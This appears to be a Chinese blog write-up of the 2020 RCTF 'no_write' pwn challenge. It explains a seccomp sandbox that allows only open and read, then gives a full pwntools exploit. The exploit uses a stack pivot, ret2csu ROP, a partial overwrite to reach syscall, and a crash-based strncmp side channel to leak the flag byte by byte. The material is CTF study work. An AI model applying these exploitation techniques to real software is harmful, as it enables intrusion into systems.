2020RCTF-PWN-NO_write

July 3, 2020 CTF-Writeup 访问: 92 次

当时没做出来,觉得这个利用手法比较新颖,复现了一波。

这个程序开启了沙箱保护,只能够调用open和read

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

利用思路:
1、栈迁移到bss段上
2、利用__libc_start_main_ptr来再次启动任意地址,并使bss段上(当前的栈上)留下libc地址
3、通过ret2cus来进行ROP
4、部分覆盖地址构造syscall
5、利用特殊指令(0x4005e8)来修改栈上的libc地址为strncmp
6、利用ret2cus来执行strncmp(&flag,&fake,2)

fake的地址构造成0x601fff,当第一个字符和flag一样的时候,就会访问0x602000,就会造成无效地址访问,从而程序崩溃,当对比一样的时候,就会进行ROP,再次执行一个read操作,从而程序不会退出,进入等待用户输入

#coding:utf-8
from pwn import *
import string
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './no_write'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
# if debug:
#     r = process(file_name)
#     libc = ELF(libc_name)
# else:
#     r = remote(ip,int(prot))
#     libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    raw_input()

'''
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

'''
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
charset = '}{_'+string.digits+string.letters
p_rdi=0x0000000000400773 #: pop rdi ; ret
p_rsi = 0x0000000000400771 #: pop rsi ; pop r15 ; ret
p_rbp = 0x0000000000400588
level_ret = 0x40070B
fake_rbp = 0x601400
flag_name = 0x601700
flag_str = 0x601800
syscall = 0x601340
flag = ""
i=0
while True:
    for x in charset:
        try:
            r = process(file_name)
            libc = ELF(libc_name)
            payload = "a"*0x10+p64(fake_rbp)
            payload +=p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(fake_rbp)+p64(0x601350)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4+p64(level_ret)

            sl(payload)
            payload_2 = p64(fake_rbp)+p64(p_rdi)+p64(0x4006db)+p64(0x400544)
            # raw_input()
            # debug()
            strncmp = 0x601320
            sl(payload_2)
            # raw_input()
            payload_3 = p64(p_rdi)+p64(0)+p64(p_rsi)+p64(0x601340)+p64(0)+p64(file.plt['read'])
            payload_3 += p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_name)+p64(0)+p64(file.plt['read'])
            payload_3 += p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_name+0x10)+p64(0)+p64(file.plt['read'])
            payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(syscall)+p64(flag_name)+p64(0)+p64(0)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
            payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(3)+p64(flag_str)+p64(0x100)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
            offset_1 = 0xffd98790
            payload_3 += p64(0x00000000040076A)+p64(offset_1)+p64(0x60135d)+p64(0)*0x4+p64(0x4005e8)
            payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(0x601ff0)+p64(0x10)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
            payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(strncmp)+p64(flag_str+i)+p64(0x601fff)+p64(2)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
            payload_3 += p64(0x40076A)+p64(0)+p64(1)+p64(file.got['read'])+p64(0)+p64(0x601ff0)+p64(0x10)+p64(0x400750)+"a"*8+p64(0)+p64(fake_rbp)+p64(0)*4
            '''
            .text:000000000040076A                 pop     rbx
            .text:000000000040076B                 pop     rbp
            .text:000000000040076C                 pop     r12
            .text:000000000040076E                 pop     r13
            .text:0000000000400770                 pop     r14
            .text:0000000000400772                 pop     r15
            .text:0000000000400774                 retn
            0x601320 —▸ 0x7f3d0d75dd80 (initial) ◂— 0x0
            0x4005e8 <__do_global_dtors_aux+24>:    add    DWORD PTR [rbp-0x3d],ebx
            0x4005eb <__do_global_dtors_aux+27>:    nop    DWORD PTR [rax+rax*1+0x0]
            0x4005f0 <__do_global_dtors_aux+32>:    repz ret 
            '''

            # payload_3 += p64(p_rbp)+p64()
            sl(payload_3)
            # raw_input()
            sd("\x7f")
            # raw_input()
            sl("flag\x00\x00")
            # print "set eax"
            # raw_input()
            sd("aa")
            # raw_input()
            sd(x*0x10)
            r.recv(timeout=2)
            # sd('test')
            # ri()
            r.close()
        except EOFError:
            flag+=x
            print flag,i
            i=i+1
            # exit()
            if(x == '}'):
                exit()
            r.close()
            break

#Rlag_is_test

脚本多多少少还是有些误差

添加新评论